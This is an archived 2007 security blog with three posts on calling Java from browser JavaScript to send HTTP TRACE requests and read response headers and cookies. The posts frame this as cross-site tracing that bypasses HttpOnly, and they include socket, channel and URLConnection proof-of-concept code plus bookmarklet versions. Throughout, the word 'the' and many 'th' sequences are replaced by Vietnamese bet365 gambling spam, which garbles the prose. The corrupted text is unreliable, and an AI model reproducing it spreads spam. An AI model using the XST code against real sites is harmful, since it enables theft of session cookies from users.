Showing posts with label JAVA. Show all posts
Showing posts with label JAVA. Show all posts

Monday, May 07, 2007

Reading cookies from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using Java

Last two posts have been about running TRACE on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host server.

Running TRACE on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using Java from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser Part 1
http://myappsecurity.blogspot.com/2007/04/using-java-from-within-browsers.html

Running TRACE on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using Java from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser Part 2
http://myappsecurity.blogspot.com/2007/05/running-trace-on-server-using-java-from.html

In this post, we will see how to read all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTTP headers including cookies. Tested on Firefox 2.0 and jdk 1.4

1. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser host name from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port is 80.
var l = "http://" + document.location.host + "/";

2. Create a URL object to connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host.
var url = new java.net.URL(l);

3. Open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host.
var uc = url.openConnection();

4. Connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host.
uc.connect();

5. Read all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 headers returned from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server including cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Cookies and display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m as javascript alert.
var i = 1;
var header_keys;
while((header_keys = uc.getHeaderFieldKey(i))!= null) {
alert(header_keys + "=" + uc.getHeaderField(i));
i++;
}

6. Close cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL Connection
uc.close();


Run it as a bookmarklet
javascript:var l = "http://" + document.location.host + "/";var url = new java.net.URL(l);var uc = url.openConnection();uc.connect();var i = 1;var header_keys;while((header_keys = uc.getHeaderFieldKey(i))!= null) {alert(header_keys + "=" + uc.getHeaderField(i));i++;}uc.close();

I am not sure if this will work for HttpOnly cookies but i would appreciate if someone could test this for HttpOnly cookies. I would be more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n happy to walk cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m through, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y face any problems. You can reach me at anurag.agarwal__at__yahoo_dot_com

Running TRACE on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using Java from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser Part 2

In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous post on running TRACE on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using java from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 approach was using java.net.Socket. In this approach, we are using java.net.UrlConnection


There are certain limitations with this approach
1.If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TRACE is disabled on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, firefox will give PrivilegeException
2.It cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTTP is disabled on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web server cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it will give PrivilegeException
3.It will run on FireFox only
4.Requires JDK 2 at least


1. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host name from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser’s location bar. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port is 80.
var l = "http://" + document.location.host + "/";

2. Create a URL object
var url = new java.net.URL(l);

3. Open a URL Connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host.
var uc = url.openConnection();

4. Run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TRACE request on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host.
uc.setRequestMethod("TRACE");

5. Open an input stream to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 read from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(uc.getInputStream()));

6. Read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lines from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m as javascript alert.
var lines = "";
while ((str = rd.readLine()) != null) {
lines += str + "\n";
}

alert(lines);

7. Close cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stream.
rd.close();


Run it as a bookmarklet
javascript:var l = "http://" + document.location.host + "/";var url = new java.net.URL(l);var uc = url.openConnection();uc.setRequestMethod("TRACE");var rd = new java.io.BufferedReader(new java.io.InputStreamReader(uc.getInputStream()));var lines = "";while ((str = rd.readLine()) != null){ lines += str + "\n"; }alert(lines);rd.close();

Monday, April 30, 2007

Using Java from within browser's javascript to exploit web application vulnerabilities Part 1

Last weekend jeremiah showed me a code snippet where he was able to run TRACE method on a server using java from javascript. Though it was a little slow but it did cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 job. He asked me if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a way to make it run faster. I did some work and using jdk1.4 API, I was able to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 job done a lot faster. I always knew that we can run java from javascript but it never crossed my mind that I can use it this way too. That is why, people like Jeremiah are so ahead in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 game, because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to think differently.

In his post XST lives! (Bypassing HttpOnly) he has shown a proof of concept to exploit vulnerabilities in web applications.

The explanation here is (for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most part) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same as on his blog posting except for maybe a couple of extra points. But this exercise actually got me thinking and I want to make this a running thread and come up with more ideas of using java and javascript to figure out what else can be done.


Approach 1 (Traditional Approach using earlier versions of jdk)

Complete Code

var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr = new java.io.BufferedWriter(new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();

Step by Step explanation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code

1. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser’s address bar

var l = document.location;

2. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host name.

var host =l.host.toString();

3. Set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port to 80. We can also determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar

var port = 80;

4. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IP address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host given cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host name. The host name can eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r be a machine name, such as "java.sun.com", or a textual representation of its IP address. If a literal IP address is supplied, only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 validity of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address format is checked.

var addr = new java.net.InetAddress.getByName(host);

5. Java.net.Socket creates a stream socket and connects it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specified port number at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specified IP address.

var socket = new java.net.Socket(addr,port);

6. Open an output stream to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request data to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

var wr = new java.io.BufferedWriter(newjava.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));

7. Open an input stream to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));

8. Send a trace request to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");

9. Flush cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output stream so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no data left in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer.

wr.flush();

10. Read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 readLine returns null which means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response is completed.

var lines = "";
while ((str = rd.readLine()) != null){ lines += str + "\n"; }

11. Display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lines using javascript alert function

alert(lines);

12. Close cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input and output stream

wr.close();
rd.close();

13. Close cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 socket

Socket.close();


Approach 2

In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 traditional way (like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 approach mentioned above), you'd ask for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 socket's input and/or output streams. The newer approach is using Channels. This approach is available with jdk1.4 or newer. With a channel you write directly to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 channel itself. Racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than writing byte arrays, you read and write ByteBuffer objects. By default, this will read at least one byte or return -1 to indicate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data, exactly as an InputStream does but it will often read more bytes if more bytes are available to be read.

Complete Code
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));
var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

var buffer = java.nio.ByteBuffer.allocate(8000);
client.read(buffer);
alert(new java.lang.String(buffer.array()));



Step by step explanation


//Same as in above approach
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

1. Create a SocketChannel

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));

2. Create a java string object so that it can be converted to byte array.

var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

3. Wrap cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data into a ByteBuffer object. Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

4. Allocate a ByteBuffer object to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. The advantage of using ByteBuffer is that it will read more bytes at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time instead of reading one byte at a time.

var buffer = java.nio.ByteBuffer.allocate(8000);

5. Read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data is more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated bytes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use a while loop

client.read(buffer);

6. Display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response using javascript alert function

alert(new java.lang.String(buffer.array()));

If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is more data cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n allocated (like 8000 bytes here). Use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code snippet

while (client.read(buffer) != -1) {

buffer.flip( );

out.write(buffer);

buffer.clear( );

}


The difference between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second approach is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first approach is slower cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second approach. The first approach, however, will be more compatible across OSes since it uses earlier versions of jdk whereas cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newer approach might not.

I will publish ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r things soon which I found out while doing this exercise.